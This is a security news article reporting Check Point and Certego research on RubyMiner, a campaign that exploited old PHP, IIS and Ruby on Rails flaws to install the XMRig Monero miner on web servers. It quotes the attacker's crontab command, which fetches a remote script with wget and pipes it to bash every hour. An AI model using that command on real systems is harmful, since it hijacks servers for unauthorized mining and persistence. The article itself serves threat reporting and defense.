RubyMiner Monero Cryptominer affected 30% of networks worldwide in just 24h

Security researchers at Check Point have spotted a malware family dubbed RubyMiner that is targeting web servers worldwide in an attempt to exploit their resources to mine Monero cryptocurrency.

RubyMiner, was first spotted last week when a massive campaign targeted web servers worldwide, most of them in the United States, Germany, United Kingdom, Norway, and Sweden.

The experts believe that a single lone attacker is behind the attacks, in just one day he attempted to compromise nearly one-third of networks globally.

“In the last 24 hours, 30% of networks worldwide have experienced compromise attempts by a crypto-miner targeting web servers.” read the analysis from Check Point.

“During that period, the lone attacker attempted to exploit 30% of all networks worldwide to find vulnerable web servers in order to mobilize them to his mining pool. Among the top countries targeted are the United States, Germany, United Kingdom, Norway and Sweden, though no country has gone unscathed.”

RubyMiner

The malware targets both Windows and Linux servers, attempting to exploit old vulnerabilities in PHP, Microsoft IIS, and Ruby on Rails to deploy the Monero miner.

The Italian security firm Certego noticed the same attacks that began on January 10.

“Our threat intelligence platform has been logging a huge spike in ruby http exploiting since yesterday (10 January) at 23:00.” states the report published by Certego.

“The exploit has been trying to leverage a fairly old CVE (CVE-2013-0156) that allows remote code execution. The following public Emerging Threat signature cover the exploit:”

The attack doesn’t appear very sophisticated, the hacker did not attempt to conceal his operations, but it was focused on infecting the larger number of servers in the shortest time.

“Surprisingly, by using old vulnerabilities published and patched in 2012 and 2013, it doesn’t seem that stealth was part of the attacker’s agenda either. Instead, the attacker chose to exploit multiple vulnerabilities in HTTP web servers, to distribute an open source Monero miner – XMRig.” continues the analysis.

“In fact, XMRig usually sends a donation of 5% of the revenue gained from the mining process to the code’s author. However, even this amount was too much for the attacker to part with as that ‘donation element’ was deleted from the code, giving the enthusiast 100% of the profit.”

At the time of the report, only 700 servers worldwide have been successfully compromised in the first 24 hours of attacks.

The experts from Certego observed the attacker exploiting the CVE-2013-0156 remote code execution flaw in Ruby on Rails.

The attacker sends a base64 encoded payload inside a POST request in the attempt to trick the interpreter into executing it.

The malicious payload is a bash script that adds a cronjob that runs every hour and downloads a robots.txt file containing a shell script, used to fetch and execute the cryptominer. The scheduler is being told to run the whole process, including downloading the file from the server every hour.

“The cron is a UNIX based scheduler which allows running scheduled tasks at fixed times via its own syntax. Running the crontab command with the –r argument will remove all existing tasks in the existing crontab and allow for the miner to take full priority.” continues the analysis from Checkpoint.

echo “1 * * * * wget -q -O – http://internetresearch.is/robots.txt 2>/dev/null|bash >/dev/null 2>&1″|crontab –   

“Now the attacker can inject the new job to the clean crontab file using the “1 * * * *” which will tell the scheduler to run once an hour for one minute infinitely.

The new job will download and execute the “robots.txt” file hosted on “internetresearch.is.” and the mining process can begin.”

Experts believe that the robots.txt file could be used also as a kill switch for RubyMiner,  modify the robots.txt file on the compromised webserver it is possible to deactivate the malware.

“Within a minute, all the machines re-downloading the file will be receiving files without the crypto miners,” Check Point notes.

The expert noticed that one of the domains used by the attacker, lochjol.com, was involved in an attack that abused the Ruby on Rails vulnerability in 2013.

Check Point researchers also published the IoC related to RubyMiner.


Pierluigi Paganini

(Security Affairs –Monero Miner, RubyMiner)



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